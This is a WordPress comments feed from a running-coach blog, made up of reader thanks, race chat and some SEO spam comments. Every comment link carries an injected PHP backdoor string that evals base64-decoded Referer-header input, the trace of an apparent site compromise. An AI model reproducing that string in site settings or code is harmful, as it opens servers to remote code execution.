Comments for Track Attack Running http://www.trackattackrunning.com/blog The "Lobstah Trap" Blog Wed, 10 Mar 2010 18:51:02 +0000 http://wordpress.org/?v=2.6.5 Comment on Coaches by Meredith Leva http://www.trackattackrunning.com/blog/2008/01/25/run-coaches/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3921 Meredith Leva Tue, 11 Aug 2009 07:00:44 +0000 http://www.trackattackrunning.com/blog/archives/19#comment-3921 Aracelly!!! Congrats on making it to Nationals for Xterra...your such an amazing runner. So I met you at the Marin Trail Race. I was the girl in yellow who came in second and am going to nationals as well. Wanted to know your plans and everything cause at the moment Im going by myself and dont know anyone but wanted to take the opportunity. Let me know! Thanks Meredith Leva Aracelly!!! Congrats on making it to Nationals for Xterra…your such an amazing runner. So I met you at the Marin Trail Race. I was the girl in yellow who came in second and am going to nationals as well. Wanted to know your plans and everything cause at the moment Im going by myself and dont know anyone but wanted to take the opportunity. Let me know!
Thanks
Meredith Leva

]]> Comment on Free Run Clinic at MetroSport Folsom Jan 26 by Marathon Effort http://www.trackattackrunning.com/blog/2008/01/08/free-run-clinic-at-metrosport-folsom-on-jan-26/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3356 Marathon Effort Fri, 05 Jun 2009 18:13:05 +0000 http://blog.trackattackrunning.com/archives/11#comment-3356 Finally someone who can write a good blog ! . This is the kind of information that is useful to those want to increase their SERP's. I loved your post and will be telling others about it. Subscribing to your RSS feed now. Thanks Finally someone who can write a good blog ! . This is the kind of information that is useful to those want to increase their SERP’s. I loved your post and will be telling others about it. Subscribing to your RSS feed now. Thanks

]]> Comment on Final Workout I’ll be Coaching in Folsom by Running Information http://www.trackattackrunning.com/blog/2008/03/23/final-workout-ill-be-coaching-in-folsom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3285 Running Information Thu, 14 May 2009 06:31:58 +0000 http://www.trackattackrunning.com/blog/archives/25#comment-3285 Awesome post! Running is important if you want to stay healthy. Awesome post! Running is important if you want to stay healthy.

]]> Comment on Photos From My Final Workout in Folsom by Workout Routines http://www.trackattackrunning.com/blog/2008/03/25/photos-from-my-final-workout-in-folsom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-2902 Workout Routines Mon, 05 Jan 2009 17:06:58 +0000 http://www.trackattackrunning.com/blog/archives/26#comment-2902 Nice post, great photos. Keep up the good work with your blog! Nice post, great photos. Keep up the good work with your blog!

]]> Comment on Ratchet Up Your Run Training With Gadgets by Tom http://www.trackattackrunning.com/blog/2008/02/18/ratchet-up-your-run-training-with-gadgets/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-2569 Tom Tue, 25 Nov 2008 23:20:15 +0000 http://www.trackattackrunning.com/blog/archives/23#comment-2569 My passion for running exploded after I discovered the iPod. I resisted it for so long -- preferring to be a running purist. Because of its size, I prefer the iPod Shuffle. In addition to music, I think podcasts are great to listen to while running. You may not feel a rhythm -- like you do with music -- but podcasts are still effective for keeping your mind busy. The added bonus for me is that I'll often learn something new. My passion for running exploded after I discovered the iPod. I resisted it for so long — preferring to be a running purist. Because of its size, I prefer the iPod Shuffle. In addition to music, I think podcasts are great to listen to while running. You may not feel a rhythm — like you do with music — but podcasts are still effective for keeping your mind busy. The added bonus for me is that I’ll often learn something new.

]]> Comment on Final Workout I’ll be Coaching in Folsom by Meryll http://www.trackattackrunning.com/blog/2008/03/23/final-workout-ill-be-coaching-in-folsom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-83 Meryll Thu, 27 Mar 2008 02:50:49 +0000 http://www.trackattackrunning.com/blog/archives/25#comment-83 Hi Tony, I was going to join up with Track Attack agin in April...I am sorry to hear that you are leaving, but I am excited for your great opportunities in SF! I have so many fond memories from the 'old days' at ARC...it is because of you,Chi-An and Dan that I was able to run Boston; that is something I will never forget. Every time I go out for a run, I always remember to Run Proud...stand tall...you are the best and I will miss those painful workouts. Thank-you for helping me to remember how much I love to run, I will always be grateful. Hi Tony,

I was going to join up with Track Attack agin in April…I am sorry to hear that you are leaving, but I am excited for your great opportunities in SF! I have so many fond memories from the ‘old days’ at ARC…it is because of you,Chi-An and Dan that I was able to run Boston; that is something I will never forget. Every time I go out for a run, I always remember to Run Proud…stand tall…you are the best and I will miss those painful workouts. Thank-you for helping me to remember how much I love to run, I will always be grateful.

]]> Comment on Coaches by Tim Coughlin http://www.trackattackrunning.com/blog/2008/01/25/run-coaches/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-81 Tim Coughlin Mon, 24 Mar 2008 13:22:26 +0000 http://www.trackattackrunning.com/blog/archives/19#comment-81 Awesome job Tony! Tony worked with about twenty 5th - 8th graders on our track team and did a fantastic job with the kids! He was extremely knowledgeable and made the track workout fun and enjoyable for the kids... they loved it! - Tim Coughlin, Head Track Coach, St. Mel School Awesome job Tony! Tony worked with about twenty 5th - 8th graders on our track team and did a fantastic job with the kids! He was extremely knowledgeable and made the track workout fun and enjoyable for the kids… they loved it!
- Tim Coughlin, Head Track Coach, St. Mel School

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